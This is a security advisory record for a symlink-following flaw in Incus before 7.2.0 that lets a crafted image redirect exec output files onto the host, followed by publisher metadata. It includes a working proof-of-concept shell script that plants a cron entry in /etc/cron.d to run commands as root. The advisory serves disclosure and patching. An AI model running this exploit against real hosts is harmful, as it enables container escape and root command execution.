Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
```
### Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 21, 2026, 2:19:45 PM
dateUpdated: Nov 5, 2026, 11:50:24 PM
1 related source bulletins · separate from aliases
openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-73
Original publisher date fields
published: 2026-08-21T15:16:40.390
lastModified: 2026-11-06T01:17:49.330
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.